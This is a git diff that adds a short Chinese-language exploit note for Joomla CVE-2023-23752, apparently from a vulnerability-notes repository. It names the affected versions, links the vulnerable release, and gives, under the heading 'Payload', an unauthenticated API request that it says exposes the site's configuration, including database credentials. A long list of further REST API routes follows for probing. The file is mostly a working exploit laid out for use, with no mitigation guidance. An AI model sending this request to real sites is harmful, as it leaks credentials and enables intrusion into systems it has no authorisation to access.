diff --git a/Joomla 未授权漏洞CVE-2023-23752.md b/Joomla 未授权漏洞CVE-2023-23752.md
new file mode 100644
index 0000000..80620c6
--- /dev/null
+++ b/Joomla 未授权漏洞CVE-2023-23752.md	
@@ -0,0 +1,261 @@
+## Joomla 未授权漏洞 CVE-2023-23752
+
+受影响的版本：4.0.0 ~ 4.2.7
+
+存在漏洞的路由为Rest API，Rest API于4.x正式开发
+
+## 下载地址：
+https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format=zip
+
+## Payload
+```
+通过此API用于获取网站最重要的配置信息，其中包含数据库的账号与密码。
+
+/api/index.php/v1/config/application?public=true 
+```
+![](https://xzfile.aliyuncs.com/media/upload/picture/20230217104843-97984d40-ae6d-1.png)
+
+## 其他api
+```
+v1/banners
+v1/banners/:id
+v1/banners
+v1/banners/:id
+v1/banners/:id
+v1/banners/clients
+v1/banners/clients/:id
+v1/banners/clients
+v1/banners/clients/:id
+v1/banners/clients/:id
+v1/banners/categories
+v1/banners/categories/:id
+v1/banners/categories
+v1/banners/categories/:id
+v1/banners/categories/:id
+v1/banners/:id/contenthistory
+v1/banners/:id/contenthistory/keep
+v1/banners/:id/contenthistory
+v1/config/application
+v1/config/application
+v1/config/:component_name
+v1/config/:component_name
+v1/contacts/form/:id
+v1/contacts
+v1/contacts/:id
+v1/contacts
+v1/contacts/:id
+v1/contacts/:id
+v1/contacts/categories
+v1/contacts/categories/:id
+v1/contacts/categories
+v1/contacts/categories/:id
+v1/contacts/categories/:id
+v1/fields/contacts/contact
+v1/fields/contacts/contact/:id
+v1/fields/contacts/contact
+v1/fields/contacts/contact/:id
+v1/fields/contacts/contact/:id
+v1/fields/contacts/mail
+v1/fields/contacts/mail/:id
+v1/fields/contacts/mail
+v1/fields/contacts/mail/:id
+v1/fields/contacts/mail/:id
+v1/fields/contacts/categories
+v1/fields/contacts/categories/:id
+v1/fields/contacts/categories
+v1/fields/contacts/categories/:id
+v1/fields/contacts/categories/:id
+v1/fields/groups/contacts/contact
+v1/fields/groups/contacts/contact/:id
+v1/fields/groups/contacts/contact
+v1/fields/groups/contacts/contact/:id
+v1/fields/groups/contacts/contact/:id
+v1/fields/groups/contacts/mail
+v1/fields/groups/contacts/mail/:id
+v1/fields/groups/contacts/mail
+v1/fields/groups/contacts/mail/:id
+v1/fields/groups/contacts/mail/:id
+v1/fields/groups/contacts/categories
+v1/fields/groups/contacts/categories/:id
+v1/fields/groups/contacts/categories
+v1/fields/groups/contacts/categories/:id
+v1/fields/groups/contacts/categories/:id
+v1/contacts/:id/contenthistory
+v1/contacts/:id/contenthistory/keep
+v1/contacts/:id/contenthistory
+v1/content/articles
+v1/content/articles/:id
+v1/content/articles
+v1/content/articles/:id
+v1/content/articles/:id
+v1/content/categories
+v1/content/categories/:id
+v1/content/categories
+v1/content/categories/:id
+v1/content/categories/:id
+v1/fields/content/articles
+v1/fields/content/articles/:id
+v1/fields/content/articles
+v1/fields/content/articles/:id
+v1/fields/content/articles/:id
+v1/fields/content/categories
+v1/fields/content/categories/:id
+v1/fields/content/categories
+v1/fields/content/categories/:id
+v1/fields/content/categories/:id
+v1/fields/groups/content/articles
+v1/fields/groups/content/articles/:id
+v1/fields/groups/content/articles
+v1/fields/groups/content/articles/:id
+v1/fields/groups/content/articles/:id
+v1/fields/groups/content/categories
+v1/fields/groups/content/categories/:id
+v1/fields/groups/content/categories
+v1/fields/groups/content/categories/:id
+v1/fields/groups/content/categories/:id
+v1/content/articles/:id/contenthistory
+v1/content/articles/:id/contenthistory/keep
+v1/content/articles/:id/contenthistory
+v1/extensions
+v1/languages/content
+v1/languages/content/:id
+v1/languages/content
+v1/languages/content/:id
+v1/languages/content/:id
+v1/languages/overrides/search
+v1/languages/overrides/search/cache/refresh
+v1/languages/overrides/site/zh-CN
+v1/languages/overrides/site/zh-CN/:id
+v1/languages/overrides/site/zh-CN
+v1/languages/overrides/site/zh-CN/:id
+v1/languages/overrides/site/zh-CN/:id
+v1/languages/overrides/administrator/zh-CN
+v1/languages/overrides/administrator/zh-CN/:id
+v1/languages/overrides/administrator/zh-CN
+v1/languages/overrides/administrator/zh-CN/:id
+v1/languages/overrides/administrator/zh-CN/:id
+v1/languages/overrides/site/en-GB
+v1/languages/overrides/site/en-GB/:id
+v1/languages/overrides/site/en-GB
+v1/languages/overrides/site/en-GB/:id
+v1/languages/overrides/site/en-GB/:id
+v1/languages/overrides/administrator/en-GB
+v1/languages/overrides/administrator/en-GB/:id
+v1/languages/overrides/administrator/en-GB
+v1/languages/overrides/administrator/en-GB/:id
+v1/languages/overrides/administrator/en-GB/:id
+v1/languages
+v1/languages
+v1/media/adapters
+v1/media/adapters/:id
+v1/media/files
+v1/media/files/:path/
+v1/media/files/:path
+v1/media/files
+v1/media/files/:path
+v1/media/files/:path
+v1/menus/site
+v1/menus/site/:id
+v1/menus/site
+v1/menus/site/:id
+v1/menus/site/:id
+v1/menus/administrator
+v1/menus/administrator/:id
+v1/menus/administrator
+v1/menus/administrator/:id
+v1/menus/administrator/:id
+v1/menus/site/items
+v1/menus/site/items/:id
+v1/menus/site/items
+v1/menus/site/items/:id
+v1/menus/site/items/:id
+v1/menus/administrator/items
+v1/menus/administrator/items/:id
+v1/menus/administrator/items
+v1/menus/administrator/items/:id
+v1/menus/administrator/items/:id
+v1/menus/site/items/types
+v1/menus/administrator/items/types
+v1/messages
+v1/messages/:id
+v1/messages
+v1/messages/:id
+v1/messages/:id
+v1/modules/types/site
+v1/modules/types/administrator
+v1/modules/site
+v1/modules/site/:id
+v1/modules/site
+v1/modules/site/:id
+v1/modules/site/:id
+v1/modules/administrator
+v1/modules/administrator/:id
+v1/modules/administrator
+v1/modules/administrator/:id
+v1/modules/administrator/:id
+v1/newsfeeds/feeds
+v1/newsfeeds/feeds/:id
+v1/newsfeeds/feeds
+v1/newsfeeds/feeds/:id
+v1/newsfeeds/feeds/:id
+v1/newsfeeds/categories
+v1/newsfeeds/categories/:id
+v1/newsfeeds/categories
+v1/newsfeeds/categories/:id
+v1/newsfeeds/categories/:id
+v1/plugins
+v1/plugins/:id
+v1/plugins/:id
+v1/privacy/requests
+v1/privacy/requests/:id
+v1/privacy/requests/export/:id
+v1/privacy/requests
+v1/privacy/consents
+v1/privacy/consents/:id
+v1/privacy/consents/:id
+v1/redirects
+v1/redirects/:id
+v1/redirects
+v1/redirects/:id
+v1/redirects/:id
+v1/tags
+v1/tags/:id
+v1/tags
+v1/tags/:id
+v1/tags/:id
+v1/templates/styles/site
+v1/templates/styles/site/:id
+v1/templates/styles/site
+v1/templates/styles/site/:id
+v1/templates/styles/site/:id
+v1/templates/styles/administrator
+v1/templates/styles/administrator/:id
+v1/templates/styles/administrator
+v1/templates/styles/administrator/:id
+v1/templates/styles/administrator/:id
+v1/users
+v1/users/:id
+v1/users
+v1/users/:id
+v1/users/:id
+v1/fields/users
+v1/fields/users/:id
+v1/fields/users
+v1/fields/users/:id
+v1/fields/users/:id
+v1/fields/groups/users
+v1/fields/groups/users/:id
+v1/fields/groups/users
+v1/fields/groups/users/:id
+v1/fields/groups/users/:id
+v1/users/groups
+v1/users/groups/:id
+v1/users/groups
+v1/users/groups/:id
+v1/users/groups/:id
+v1/users/levels
+v1/users/levels/:id
+v1/users/levels
+v1/users/levels/:id
+v1/users/levels/:id
+```